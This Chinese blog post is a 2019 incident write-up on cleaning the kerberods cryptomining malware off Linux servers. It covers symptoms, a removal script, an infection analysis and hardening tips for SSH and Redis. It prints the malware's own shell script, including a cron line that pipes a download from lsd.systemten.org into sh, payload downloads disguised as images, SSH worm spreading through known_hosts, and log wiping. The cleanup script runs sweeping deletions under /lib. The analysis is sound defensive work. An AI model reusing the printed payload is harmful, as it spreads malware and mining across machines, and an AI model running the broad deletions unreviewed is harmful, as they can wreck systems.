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Linux服务器感染kerberods病毒 | 挖矿病毒查杀及分析 | (curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh)

概要:

一、症状及表现

二、查杀方法

三、病毒分析

四、安全防护

五、参考文章

 


 

一、症状及表现

1、CPU使用率异常,top命令显示CPU统计数数据均为0,利用busybox 查看CPU占用率之后,发现CPU被大量占用;

*注:ls top ps等命令已经被病毒的动态链接库劫持,无法正常使用,大家需要下载busybox,具体的安装和下载步骤参见参考文章(https://blog.csdn.net/u010457406/article/details/89328869)。

2、crontab 定时任务异常,存在以下内容;

3、后期病毒变异,劫持sshd,导致远程登陆失败,偶尔还会跳出定时任务失败,收到新邮件等问题;

 4、 存在异常文件、异常进程以及异常开机项

 


 

二、查杀方法

1、断网,停止定时任务服务;

2、查杀病毒主程序,以及保护病毒的其他进程;

3、恢复被劫持的动态链接库和开机服务;

4、重启服务器和服务;

附查杀脚本(根据情况修改)

(脚本参考(https://blog.csdn.net/u010457406/article/details/89328869))

  1 #!/bin/bash
  2 #可以重复执行几次,防止互相拉起导致删除失败
  3 
  4 function installBusyBox(){
  5     #参考第一段
  6     busybox|grep BusyBox |grep v
  7 }
  8 
  9 function banHosts(){
 10     #删除免密认证,防止继续通过ssh进行扩散,后续需自行恢复,可不执行
 11     busybox echo "" > /root/.ssh/authorized_keys
 12     busybox echo "" > /root/.ssh/id_rsa
 13     busybox echo "" > /root/.ssh/id_rsa.pub
 14     busybox echo "" > /root/.ssh/known_hosts
 15     #busybox echo "" > /root/.ssh/auth
 16     #iptables -I INPUT -p tcp --dport 445 -j DROP
 17     busybox echo -e "\n0.0.0.0 pastebin.com\n0.0.0.0 thyrsi.com\n0.0.0.0 systemten.org" >> /etc/hosts
 18 }
 19 
 20 
 21 function fixCron(){
 22     #修复crontab
 23     busybox chattr -i  /etc/cron.d/root  2>/dev/null
 24     busybox rm -f /etc/cron.d/root
 25     busybox chattr -i /var/spool/cron/root  2>/dev/null
 26     busybox rm -f /var/spool/cron/root
 27     busybox chattr -i /var/spool/cron/tomcat  2>/dev/null
 28     busybox rm -f /var/spool/cron/tomcat
 29     busybox chattr -i /var/spool/cron/crontabs/root  2>/dev/null
 30     busybox rm -f /var/spool/cron/crontabs/root
 31     busybox rm -rf /var/spool/cron/tmp.*
 32     busybox rm -rf /var/spool/cron/crontabs
 33     busybox touch /var/spool/cron/root
 34     busybox chattr +i /var/spool/cron/root
 35 }
 36 
 37 function killProcess(){
 38     #修复异常进程
 39     #busybox ps -ef | busybox grep -v grep | busybox grep 'khugepageds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9  2>/dev/null
 40     #busybox ps -ef | busybox grep -v grep | busybox egrep 'ksoftirqds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9  2>/dev/null
 41     #busybox ps -ef | busybox grep -v grep | busybox egrep 'kthrotlds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9  2>/dev/null
 42     #busybox ps -ef | busybox grep -v grep | busybox egrep 'kpsmouseds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9  2>/dev/null
 43     #busybox ps -ef | busybox grep -v grep | busybox egrep 'kintegrityds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9  2>/dev/null
 44     busybox ps -ef | busybox grep -v grep | busybox grep '/usr/sbin/kerberods' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9 2>/dev/null
 45     busybox ps -ef | busybox grep -v grep | busybox grep '/usr/sbin/sshd' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9  2>/dev/null
 46     busybox ps -ef | busybox grep -v grep | busybox egrep '/tmp/kauditds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9  2>/dev/null
 47     busybox ps -ef | busybox grep -v grep | busybox egrep '/tmp/sshd' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9  2>/dev/null
 48     busybox rm -f /tmp/khugepageds
 49     busybox rm -f /tmp/migrationds 
 50     busybox rm -f /tmp/sshd 
 51     busybox rm -f /tmp/kauditds
 52     busybox rm -f /tmp/migrationds
 53     busybox rm -f /usr/sbin/sshd
 54     busybox rm -f /usr/sbin/kerberods
 55     busybox rm -f /usr/sbin/kthrotlds
 56     busybox rm -f /usr/sbin/kintegrityds
 57     busybox rm -f /usr/sbin/kpsmouseds
 58     busybox find /tmp -mtime -4 -type f | busybox xargs busybox rm -rf
 59 }
 60 
 61 
 62 function clearLib(){
 63     #修复动态库
 64     busybox chattr -i /etc/ld.so.preload
 65     busybox rm -f /etc/ld.so.preload
 66     busybox rm -f /usr/local/lib/libcryptod.so
 67     busybox rm -f /usr/local/lib/libcset.so
 68     busybox chattr -i /etc/ld.so.preload 2>/dev/null
 69     busybox chattr -i /usr/local/lib/libcryptod.so  2>/dev/null
 70     busybox chattr -i /usr/local/lib/libcset.so 2>/dev/null
 71     busybox find /usr/local/lib/ -mtime -4 -type f| busybox xargs rm -rf
 72     busybox find /lib/ -mtime -4 -type f| busybox xargs rm -rf
 73     busybox find /lib64/ -mtime -4 -type f| busybox xargs rm -rf
 74     busybox rm -f /etc/ld.so.cache
 75     busybox rm -f /etc/ld.so.preload
 76     busybox rm -f /usr/local/lib/libcryptod.so
 77     busybox rm -f /usr/local/lib/libcset.so
 78     busybox rm -rf /usr/local/lib/libdevmapped.so
 79     busybox rm -rf /usr/local/lib/libpamcd.so 
 80     busybox rm -rf /usr/local/lib/libdevmapped.so
 81     busybox touch /etc/ld.so.preload
 82     busybox chattr +i /etc/ld.so.preload
 83     ldconfig
 84 }
 85 
 86 function clearInit(){
 87     #修复异常开机项
 88     #chkconfig netdns off 2>/dev/null
 89     #chkconfig –del netdns 2>/dev/null
 90     #systemctl disable netdns 2>/dev/null
 91     busybox rm -f /etc/rc.d/init.d/kerberods
 92     busybox rm -f /etc/init.d/netdns
 93     busybox rm -f /etc/rc.d/init.d/kthrotlds
 94     busybox rm -f /etc/rc.d/init.d/kpsmouseds
 95     busybox rm -f /etc/rc.d/init.d/kintegrityds
 96     busybox rm -f /etc/rc3.d/S99netdns
 97     #chkconfig watchdogs off 2>/dev/null
 98     #chkconfig --del watchdogs 2>/dev/null
 99     #chkconfig --del kworker 2>/dev/null
100     #chkconfig --del netdns 2>/dev/null
101 }
102 
103 function recoverOk(){
104     service crond start
105     busybox sleep 3
106     busybox chattr -i /var/spool/cron/root
107     # 将杀毒进程加入到定时任务中,多次杀毒
108     echo "*/10 * * * * /root/kerberods_kill.sh" | crontab -
109     # 恢复被劫持的sshd 服务
110     #busybox cp ~/sshd_new /usr/sbin/sshd 
111     #service sshd restart 
112     echo "OK,BETTER REBOOT YOUR DEVICE"
113 }
114 
115 #先停止crontab服务
116 echo "1| stop crondtab service!"
117 service crond stop
118 #防止病毒继续扩散
119 echo "2| banHosts!"
120 banHosts
121 #清除lib劫持
122 echo "3| clearLib!"
123 clearLib
124 #修复crontab
125 echo "4| fixCron!"
126 fixCron
127 #清理病毒进程
128 echo "5| killProcess!"
129 killProcess
130 #删除异常开机项
131 echo "6| clearInit! "
132 clearInit
133 #重启服务和系统
134 echo "7| recover!"
135 recoverOk

查杀完成以后重启服务器,发现过段时间,登陆主机,无论本地还是ssh远程登陆,依然会有病毒进程被拉起,观察top里面的进程,并用pstree 回溯进程之间的关系,发现每次用户登陆就会有病毒进程被拉起,怀疑登陆时加载文件存在问题,逐个排查下列文件:

  • /etc/profile,
  • ~/.profile,
  • ~/.bash_login,
  • ~/.bash_profile,
  • ~/.bashrc,
  • /etc/bashrc;

最后终于发现/etc/bashrc 文件被加入了一些似曾相识的语句

 

删除并且再次查杀病毒(重复之前查杀步骤),重启服务器,观察一段时间后不再有病毒程序被拉起,至此病毒被查杀完全。

 


 

三、病毒分析

1、感染路径

  • 攻击者通过网络进入第一台被感染的机器(redis未认证漏洞、ssh密码暴力破解登录等)。
  • 第一台感染的机器会读取known_hosts文件,遍历ssh登录,如果是做了免密登录认证,则将直接进行横向传播。

2、病毒主要模块

  • 主恶意程序:kerberods
  • 恶意Hook库:libcryptod.so libcryptod.c
  • 挖矿程序:khugepageds
  • 恶意脚本文件:netdns (用作kerberods的启停等管理)
  • 恶意程序:sshd (劫持sshd服务,每次登陆均可拉起病毒进程)

3、执行顺序

 

  ① 执行恶意脚本下载命令

② 主进程操作

1> 添加至开机启动,以及/etc/bashrc 
2> 生成了sshd文件 劫持sshd服务
3> 将netdns文件设置为开机启动
4> 编译libcryptod.c为/usr/local/lib/libcryptod.so
5> 预加载动态链接库,恶意hook关键系统操作函数
6> 修改/etc/cron.d/root文件,增加定时任务
7> 拉起khugepageds挖矿进程

附病毒恶意进程代码

 1 export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin
 2 
 3 mkdir -p /tmp
 4 chmod 1777 /tmp
 5 
 6 echo "* * * * * (curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh" | crontab -
 7 
 8 ps -ef|grep -v grep|grep hwlh3wlh44lh|awk '{print $2}'|xargs kill -9
 9 ps -ef|grep -v grep|grep Circle_MI|awk '{print $2}'|xargs kill -9
10 ps -ef|grep -v grep|grep get.bi-chi.com|awk '{print $2}'|xargs kill -9
11 ps -ef|grep -v grep|grep hashvault.pro|awk '{print $2}'|xargs kill -9
12 ps -ef|grep -v grep|grep nanopool.org|awk '{print $2}'|xargs kill -9
13 ps -ef|grep -v grep|grep /usr/bin/.sshd|awk '{print $2}'|xargs kill -9
14 ps -ef|grep -v grep|grep /usr/bin/bsd-port|awk '{print $2}'|xargs kill -9
15 ps -ef|grep -v grep|grep "xmr"|awk '{print $2}'|xargs kill -9
16 ps -ef|grep -v grep|grep "xig"|awk '{print $2}'|xargs kill -9
17 ps -ef|grep -v grep|grep "ddgs"|awk '{print $2}'|xargs kill -9
18 ps -ef|grep -v grep|grep "qW3xT"|awk '{print $2}'|xargs kill -9
19 ps -ef|grep -v grep|grep "wnTKYg"|awk '{print $2}'|xargs kill -9
20 ps -ef|grep -v grep|grep "t00ls.ru"|awk '{print $2}'|xargs kill -9
21 ps -ef|grep -v grep|grep "sustes"|awk '{print $2}'|xargs kill -9
22 ps -ef|grep -v grep|grep "thisxxs"|awk '{print $2}' | xargs kill -9
23 ps -ef|grep -v grep|grep "hashfish"|awk '{print $2}'|xargs kill -9
24 ps -ef|grep -v grep|grep "kworkerds"|awk '{print $2}'|xargs kill -9
25 ps -ef|grep -v grep|grep "/tmp/devtool"|awk '{print $2}'|xargs kill -9
26 ps -ef|grep -v grep|grep "systemctI"|awk '{print $2}'|xargs kill -9
27 ps -ef|grep -v grep|grep "sustse"|awk '{print $2}'|xargs kill -9
28 ps -ef|grep -v grep|grep "axgtbc"|awk '{print $2}'|xargs kill -9
29 ps -ef|grep -v grep|grep "axgtfa"|awk '{print $2}'|xargs kill -9
30 ps -ef|grep -v grep|grep "6Tx3Wq"|awk '{print $2}'|xargs kill -9
31 ps -ef|grep -v grep|grep "dblaunchs"|awk '{print $2}'|xargs kill -9
32 ps -ef|grep -v grep|grep "/boot/vmlinuz"|awk '{print $2}'|xargs kill -9
33 
34 cd /tmp
35 touch /usr/local/bin/writeable && cd /usr/local/bin/
36 touch /usr/libexec/writeable && cd /usr/libexec/
37 touch /usr/bin/writeable && cd /usr/bin/
38 rm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable
39 export PATH=$PATH:$(pwd)
40 if [ ! -f "/tmp/.XImunix" ] || [ ! -f "/proc/$(cat /tmp/.XImunix)/io" ]; then
41     chattr -i sshd
42     rm -rf sshd
43     ARCH=$(uname -m)
44     if [ ${ARCH}x = "x86_64x" ]; then
45         (curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL img.sobot.com/chatres/89/msg/20190606/35c4e7c12f6e4f7f801acc86af945d9f.png -o sshd||wget --timeout=30 --tries=3 -q img.sobot.com/chatres/89/msg/20190606/35c4e7c12f6e4f7f801acc86af945d9f.png -O sshd||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL res.cloudinary.com/dqawrdyv5/raw/upload/v1559818933/x64_p0bkci -o sshd||wget --timeout=30 --tries=3 -q res.cloudinary.com/dqawrdyv5/raw/upload/v1559818933/x64_p0bkci -O sshd||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL cdn.xiaoduoai.com/cvd/dist/fileUpload/1559819210520/7.150351516641309.jpg -o sshd||wget --timeout=30 --tries=3 -q cdn.xiaoduoai.com/cvd/dist/fileUpload/1559819210520/7.150351516641309.jpg -O sshd) && chmod +x sshd
46     else
47         (curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL img.sobot.com/chatres/89/msg/20190606/5fb4627f8ee14557a34697baf8843dfe.png -o sshd||wget --timeout=30 --tries=3 -q img.sobot.com/chatres/89/msg/20190606/5fb4627f8ee14557a34697baf8843dfe.png -O sshd||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL res.cloudinary.com/dqawrdyv5/raw/upload/v1559818942/x32_xohyv5 -o sshd||wget --timeout=30 --tries=3 -q res.cloudinary.com/dqawrdyv5/raw/upload/v1559818942/x32_xohyv5 -O sshd||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL cdn.xiaoduoai.com/cvd/dist/fileUpload/1559819246800/1.8800013111270863.jpg -o sshd||wget --timeout=30 --tries=3 -q cdn.xiaoduoai.com/cvd/dist/fileUpload/1559819246800/1.8800013111270863.jpg -O sshd) && chmod +x sshd
48     fi
49         $(pwd)/sshd || /usr/bin/sshd || /usr/libexec/sshd || /usr/local/bin/sshd || sshd || ./sshd || /tmp/sshd || /usr/local/sbin/sshd
50 fi
51 
52 if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
53   for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh >/dev/null 2>&1 &' & done
54 fi
55 
56 for file in /home/*
57 do
58     if test -d $file
59     then
60         if [ -f $file/.ssh/known_hosts ] && [ -f $file/.ssh/id_rsa.pub ]; then
61             for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" $file/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh >/dev/null 2>&1 &' & done
62         fi
63     fi
64 done
65 
66 echo 0>/var/spool/mail/root
67 echo 0>/var/log/wtmp
68 echo 0>/var/log/secure
69 echo 0>/var/log/cron
70 #

 


 

四、安全防护

    1. SSH
      ① 谨慎做免密登录
      ② 尽量不使用默认的22端口
      ③ 增强root密码强度
    2. Redis
      ① 增加授权认证(requirepass参数)
      ② 尽量使用docker版本(docker pull redis)
      ③ 隐藏重要的命令

五、参考文章

 

posted @ 2019-06-14 17:45 小飞飞俠 阅读(...) 评论(...) 编辑 收藏